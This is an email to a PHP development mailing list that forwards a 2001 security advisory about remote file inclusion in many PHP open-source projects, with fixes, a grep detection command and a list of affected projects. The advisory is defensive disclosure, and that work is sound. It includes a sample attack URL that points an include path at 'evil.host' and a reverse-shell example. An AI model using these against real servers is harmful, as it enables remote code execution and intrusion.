Anyone feel the need to reply to this?? - James ----- Original Message ----- From: <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Tuesday, October 02, 2001 10:59 PM Subject: results of semi-automatic source code audit
> /* > * results of semi-automatic source code audit of a > * majority of php based open-source projects registered > * at Freshmeat.net or Sourceforge.net > * > * release date: 2001-10-02 > * > * authors: > * atil <[EMAIL PROTECTED]> > * genetics <[EMAIL PROTECTED]> > * #yaht@ircnet, Yet Another Hacker Team > */ > > --=[introduction]=-- > php comes shipped with two features enabled by default that make > unsuspicious looking source execute arbitrary code: > - variables passed from the browser are stored in global context > - file-system functions work transparent on URLs > > --=[background]=-- > This exploits for php are not new and it's not the fault of php or any > bug in the source of php itself but of the authors of a large number > of projects written in php. What is new is the extensive audit of a > huge amount of projects and the surprisingly large number of > vulnerabilities discovered. > > --=[our task]=-- > We looked for files often not directly accessed by the browser but > included from somewhere else that contained something like this: > > in helperfunction.php : > include("$includedir/library.php"); > > If the variable $includedir is not set by something executed before > the include-statement, we can override it from the http-client with > something like this: > > http://vuln.host/helperfunction.php?includedir=http://evil.host/code > > When the script is executed on vuln.host the php-interpreter will > fetch the document http://evil.host/code/library.php and execute > it. Breaking into the system is easy now because you can pass any > php-source to the vulnerable system (download binaries, execute code, > start reverse-shells (e.g. "xterm -display evil.host:1")...) that > will be executed by the user running the web-server (mod_php) or by > the owner of the virtual-host (CGI-interpreter). > > --=[solution]=-- > php is not insecure by default, but makes insecure programming very > easy. Here are some solutions to write safe php-code: > > - give included php-files a filename that is not executed by the > web-server > > - put all included php-code outside the docroot (not possible for > all users), use file permissions or .htaccess > > - use constants (best approach) > > in main.php: > define("MAINFILE", true); > define("CONFIGDIR", "/some/path/"); > include('./some_function.inc'); > > in some_function.inc: > if ( !defined("MAINFILE") ) die ("this is a include file!"); > include(CONFIGDIR . "config.inc"); > > If you set global variables from the client, they don't > interfere with constants; the defined-Test is not necessary for > security. > > - use $HTTP_*_VARS and disable global variables from the client > > --=[scope]=-- > > Our audit searched only for vulnerabilities with include-files and can > never be compared to a detailed analysis of a complete project. If > your php-project didn't show up on the list below doesn't mean that > you can relax now. We want to make people working on all this great > php projects to become sensitive to the fact, that using modern > scripting languages doesn't make your code safe by default. > > --=[hint for ISPs]=-- > If you are an ISP and want to identify possible exploitable php code > on your web-server use this: > > find -type f -a -name '*.php*' -print0 | > xargs -0 grep -l -E '(include|require)(_once)? *\( *"?\$' > > The resulting files need further manual inspection... > > --=[vulnerable projects]=-- > (all maintainers have been informed a while ago) > > Actionpoll http://sourceforge.net/projects/actionpoll > AWOL http://www.freshmeat.net/projects/awol > CCC http://www.cccsoftware.org > DarkPortal http://sourceforge.net/projects/darkportal > Empris http://empris.sourceforge.net > Moregroupware http://www.moregroupware.org > Phorecast http://phorecast.org > Phormation http://www.peaceworks.ca/phormation.php > pSlash http://www.pslash.com > The Gallery http://sourceforge.net/projects/gallery > webodex http://homepage.mac.com/ghorwood/webodex > Zorbstats http://freshmeat.net/projects/zorbstats > phpAdsNew http://sourceforge.net/projects/phpadsnew > myphppagetool http://myphppagetool.sourceforge.net > ActionPoll http://sourceforge.net/projects/actionpoll > SIPS http://sips.sourceforge.net > thatware http://thatware.org > > We don't provide the exact vulnerable pice of code but we secured our > results with at least one machine (mostly the demo-site of the project) > where we could execute a phpinfo()-script comming from our webserver. > > cheers > > atil & genetics > -- PHP Development Mailing List <http://www.php.net/> To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]